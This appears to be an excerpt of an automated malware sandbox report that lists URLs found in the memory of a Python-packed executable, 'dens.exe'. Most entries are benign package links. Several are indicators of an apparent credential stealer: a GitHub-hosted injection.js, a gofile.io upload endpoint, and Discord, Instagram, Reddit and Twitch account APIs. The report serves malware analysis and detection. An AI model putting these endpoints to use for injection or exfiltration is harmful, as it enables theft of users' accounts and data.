Source: dens.exe, 00000001.00000002.2057253439.000002D9A8F06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: dens.exe, 00000001.00000003.1694605237.000002D9AA95C000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1694358511.000002D9AA95C000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040028581.000002D9A8F05000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2038808296.000002D9A8EE8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039627706.000002D9A8EF4000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2057589696.000002D9AA930000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2057253439.000002D9A8F06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: dens.exe, 00000001.00000002.2057866234.000002D9AA9A6000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1695470478.000002D9AAD61000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2050249155.000002D9AA9A5000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2053260653.000002D9AA9A6000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1695759119.000002D9AAD61000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1695730686.000002D9AACF6000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1695759119.000002D9AACF7000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2042588070.000002D9AA996000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2053626399.000002D9AA9A6000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1698481560.000002D9AA97E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/issues/86361.
Source: dens.exe, 00000001.00000003.2052987876.000002D9AB1F2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2065625241.000002D9AC640000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2060619384.000002D9AB1F6000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2045707437.000002D9AB1EF000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039709379.000002D9AB1E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/pull/28073
Source: dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata
Source: dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/actions/workflows/main.yml/badge.svg
Source: dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/actions?query=workflow%3A%22tests%22
Source: dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/issues
Source: dens.exe, 00000001.00000002.2062222294.000002D9AB5A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/wiki/Development-Methodology
Source: dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_resources
Source: dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_resources/actions/workflows/main.yml/badge.svg
Source: dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_resources/actions?query=workflow%3A%22tests%22
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sponsors/hynek
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sponsors/hynek).
Source: dens.exe, 00000001.00000003.1694605237.000002D9AA95C000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1694358511.000002D9AA95C000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040028581.000002D9A8F05000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2038808296.000002D9A8EE8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039627706.000002D9A8EF4000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2057589696.000002D9AA930000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2057253439.000002D9A8F06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: dens.exe, 00000001.00000003.2029829320.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2052097478.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2060887548.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2047760361.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040630139.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.miH
Source: powershell.exe, 00000052.00000002.1892866312.00000217AE1D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: dens.exe, 00000001.00000002.2065625241.000002D9AC704000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/d/9x70nq
Source: dens.exe, 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/d/9x70nq)
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gql.twitch.tv/gql
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hynek.me/articles/import-attrs/)
Source: dens.exe, 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i.hizliresim.com/qxnzimj.jpg
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://i.hizliresim.com/qxnzimj.jpgp
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC930000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i.instagram.com/api/v1/accounts/current_user/?edit=true
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i.instagram.com/api/v1/users/
Source: dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD6B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr, METADATA15.0.dr, METADATA.0.dr	String found in binary or memory: https://img.shields.io/badge/skeleton-2024-informational
Source: dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD6B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.dr, METADATA15.0.dr, METADATA.0.dr	String found in binary or memory: https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/charliermarsh/ruff/main/assets
Source: dens.exe, 00000000.00000003.1677230307.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD6B000.00000004.00000020.00020000.00000000.sdmp, METADATA15.0.dr	String found in binary or memory: https://img.shields.io/pypi/pyversions/backports.tarfile.svg
Source: dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img.shields.io/pypi/pyversions/importlib_metadata.svg
Source: dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img.shields.io/pypi/pyversions/importlib_resources.svg
Source: dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img.shields.io/pypi/pyversions/inflect.svg
Source: METADATA.0.dr	String found in binary or memory: https://img.shields.io/pypi/pyversions/jaraco.context.svg
Source: METADATA0.0.dr	String found in binary or memory: https://img.shields.io/pypi/pyversions/jaraco.functools.svg
Source: dens.exe, 00000000.00000003.1677230307.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD6B000.00000004.00000020.00020000.00000000.sdmp, METADATA15.0.dr	String found in binary or memory: https://img.shields.io/pypi/v/backports.tarfile.svg
Source: dens.exe, 00000000.00000003.1667512860.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img.shields.io/pypi/v/cryptography.svg
Source: dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img.shields.io/pypi/v/importlib_metadata.svg
Source: dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img.shields.io/pypi/v/importlib_resources.svg
Source: dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img.shields.io/pypi/v/inflect.svg
Source: METADATA.0.dr	String found in binary or memory: https://img.shields.io/pypi/v/jaraco.context.svg
Source: METADATA0.0.dr	String found in binary or memory: https://img.shields.io/pypi/v/jaraco.functools.svg
Source: dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://importlib-metadata.readthedocs.io/
Source: dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://importlib-metadata.readthedocs.io/en/latest/?badge=latest
Source: dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://importlib-resources.readthedocs.io/
Source: dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://importlib-resources.readthedocs.io/en/latest/?badge=latest
Source: dens.exe, 00000001.00000002.2060177775.000002D9AB080000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://importlib-resources.readthedocs.io/en/latest/using.html#migrating-from-legacy
Source: dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://inflect.readthedocs.io/en/latest/?badge=latest
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://instagram.com/
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://instagram.com/0A
Source: METADATA.0.dr	String found in binary or memory: https://jaracocontext.readthedocs.io/en/latest/?badge=latest
Source: METADATA0.0.dr	String found in binary or memory: https://jaracofunctools.readthedocs.io/en/latest/?badge=latest
Source: dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jaracotext.readthedocs.io/en/latest/#jaraco.text.WordSet
Source: dens.exe, 00000001.00000003.2033820717.000002D9AB24E000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039766959.000002D9AA9C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json.org
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klaviyo.com/
Source: dens.exe, 00000001.00000003.2048626589.000002D9AA9FD000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1702755471.000002D9AB2F0000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2041163716.000002D9AA9CE000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2046859632.000002D9AA9FC000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039766959.000002D9AA9C5000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2049325458.000002D9AA9FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mahler:8092/site-updates.py
Source: dens.exe, 00000000.00000003.1667512860.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mail.python.org/mailman/listinfo/cryptography-dev
Source: dens.exe, 00000001.00000003.2028056493.000002D9AD0C3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2028962685.000002D9ACB74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://media.discordapp.net/attachments/1192191430827970571/1196865524919975976/68747470733a2f2f636
Source: powershell.exe, 00000052.00000002.1907212473.00000217BD754000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000052.00000002.1907212473.00000217BD611000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000052.00000002.1892866312.00000217AEF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oauth.reddit.com/api/v1/me
Source: svchost.exe, 00000034.00000003.1792575862.000001DE906C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.52.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 00000034.00000003.1792575862.000001DE90656000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: powershell.exe, 00000052.00000002.1892866312.00000217AECF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000052.00000002.1892866312.00000217AECF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://open.spotify.com/user/
Source: dens.exe, 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://open.spotify.com/user/pO
Source: dens.exe, 00000001.00000002.2062811455.000002D9AB9E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/guides/packaging-namespace-packages/.
Source: dens.exe, 00000001.00000002.2062811455.000002D9AB9E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/core-metadata/
Source: dens.exe, 00000001.00000002.2062436664.000002D9AB7B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/entry-points/
Source: dens.exe, 00000001.00000002.2062436664.000002D9AB7B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/entry-points/02
Source: dens.exe, 00000001.00000003.2042664984.000002D9AADB8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2047151959.000002D9AADC1000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2044627162.000002D9AADB8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039084149.000002D9AADB8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2050122173.000002D9AADC2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040864660.000002D9AADB8000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2059354270.000002D9AADC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/en/latest/specifications/pyproject-toml/#declaring-project-metadata-the
Source: dens.exe, 00000001.00000003.1702664706.000002D9AB3DD000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2062625021.000002D9AB8C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: METADATA.0.dr	String found in binary or memory: https://path.readthedocs.io/en/latest/api.html
Source: dens.exe, 00000001.00000002.2059942735.000002D9AAE70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0205/
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0649/)
Source: dens.exe, 00000001.00000002.2062811455.000002D9AB9E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0685/
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0749/)-implementing
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/attrs/)
Source: dens.exe, 00000000.00000003.1677230307.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD6B000.00000004.00000020.00020000.00000000.sdmp, METADATA15.0.dr	String found in binary or memory: https://pypi.org/project/backports.tarfile
Source: dens.exe, 00000001.00000002.2062436664.000002D9AB7B0000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1703422725.000002D9AB24E000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1703029573.000002D9AB206000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1703084861.000002D9AB3D5000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2062811455.000002D9AB9E0000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2062625021.000002D9AB8C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/build/).
Source: dens.exe, 00000000.00000003.1667512860.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/cryptography/
Source: dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/importlib_metadata
Source: dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/importlib_resources
Source: dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/inflect
Source: METADATA.0.dr	String found in binary or memory: https://pypi.org/project/jaraco.context
Source: METADATA0.0.dr	String found in binary or memory: https://pypi.org/project/jaraco.functools
Source: METADATA14.0.dr	String found in binary or memory: https://pypi.org/project/setuptools/
Source: dens.exe, 00000000.00000003.1684040951.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1685131998.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/word2number/
Source: dens.exe, 00000001.00000003.2028056493.000002D9AD0C3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2028962685.000002D9ACB74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com//antivirusevasion23/main/injection/injection.js
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/antivirusevasion23/injection/main/injection.js
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/antivirusevasion23/injection/main/injection.js0
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/python-attrs/attrs/main/docs/_static/attrs_logo.svg
Source: dens.exe, 00000000.00000003.1677230307.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1677230307.00000107DAD6B000.00000004.00000020.00020000.00000000.sdmp, METADATA15.0.dr	String found in binary or memory: https://readthedocs.org/projects/backportstarfile/badge/?version=latest
Source: dens.exe, 00000000.00000003.1667512860.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://readthedocs.org/projects/cryptography/badge/?version=latest
Source: dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://readthedocs.org/projects/importlib-metadata/badge/?version=latest
Source: dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://readthedocs.org/projects/importlib-resources/badge/?version=latest
Source: dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://readthedocs.org/projects/inflect/badge/?version=latest
Source: METADATA.0.dr	String found in binary or memory: https://readthedocs.org/projects/jaracocontext/badge/?version=latest
Source: METADATA0.0.dr	String found in binary or memory: https://readthedocs.org/projects/jaracofunctools/badge/?version=latest
Source: dens.exe, 00000001.00000003.1701168036.000002D9AB275000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2062310780.000002D9AB6B0000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1701312245.000002D9AB275000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1702755471.000002D9AB26D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://refspecs.linuxfoundation.org/elf/gabi4
Source: dens.exe, 00000001.00000003.1703422725.000002D9AB24E000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1703029573.000002D9AB206000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1702664706.000002D9AB3DD000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2062811455.000002D9AB9E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/
Source: dens.exe, 00000001.00000002.2062811455.000002D9AB9E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/P
Source: dens.exe, 00000001.00000003.2051391013.000002D9AAD2D000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2041342997.000002D9AACF1000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2046110213.000002D9AAD26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/pkg_resources.html#basic-resource-access
Source: dens.exe, 00000001.00000002.2062811455.000002D9AB9E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packages
Source: dens.exe, 00000001.00000002.2062811455.000002D9AB9E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packages0
Source: dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setuptools.readthedocs.io/en/latest/pkg_resources.html
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/questions/tagged/python-attrs)
Source: dens.exe, 00000001.00000003.2028056493.000002D9AD0C3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2028962685.000002D9ACB74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://status.discord.com/api/v
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store1.gofile.io/uploadFile
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://store1.gofile.io/uploadFilex
Source: dens.exe, 00000001.00000003.1778402641.000002D9ACFEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: dens.exe, 00000001.00000002.2065840067.000002D9AC830000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: dens.exe, 00000001.00000003.1778402641.000002D9ACFEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
